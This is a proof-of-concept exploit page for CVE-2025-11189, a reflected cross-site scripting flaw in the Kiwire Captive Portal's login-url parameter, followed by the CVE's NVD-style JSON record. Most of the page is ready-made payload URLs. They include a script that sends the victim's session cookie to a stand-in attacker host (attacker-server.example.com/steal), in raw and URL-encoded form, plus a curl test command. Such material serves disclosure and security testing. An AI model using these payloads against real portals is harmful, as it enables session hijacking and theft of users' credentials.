CVE-2025-11189

<!-- PoC for CVE-2025-11189: Kiwire Captive Portal Reflected XSS Vulnerability Location: login-url parameter --> <!-- Attack Vector 1: Script Tag Injection --> https://target-kiwire-portal.example.com/login?login-url="><script>alert(document.cookie)</script> <!-- Attack Vector 2: Event Handler Injection --> https://target-kiwire-portal.example.com/login?login-url=" onfocus="alert('XSS')" autofocus="x <!-- Attack Vector 3: JavaScript Protocol Handler --> https://target-kiwire-portal.example.com/login?login-url=javascript:alert(document.domain) <!-- Attack Vector 4: Session Cookie Exfiltration (Real-world Exploitation) --> <script> var img = new Image(); img.src = "https://attacker-server.example.com/steal?cookie=" + document.cookie; </script> <!-- URL-encoded payload: --> https://target-kiwire-portal.example.com/login?login-url="><script>var+img=new+Image();img.src="https://attacker-server.example.com/steal?cookie="+document.cookie;</script> <!-- Attack Vector 5: cURL-based Testing --> # curl "https://target-kiwire-portal.example.com/login?login-url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E" # Verify if the payload appears unescaped in the response body

{"cve": {"id": "CVE-2025-11189", "sourceIdentifier": "[email protected]", "published": "2025-10-10T11:15:41.497", "lastModified": "2025-11-17T14:38:39.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kiwire Captive Portal contains a reflected cross-site scripting (XSS) vulnerability within the login-url parameter, allowing for Javascript execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synchroweb:kiwire:3.6:*:*:*:*:*:*:*", "matchCriteriaId": "70C4518C-CF80-4EC0-B6AE-3B3A9F78FD6D"}]}]}], "references": [{"url": "https://www.synchroweb.com/release-notes/kiwire/security", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://www.kb.cert.org/vuls/id/887923", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}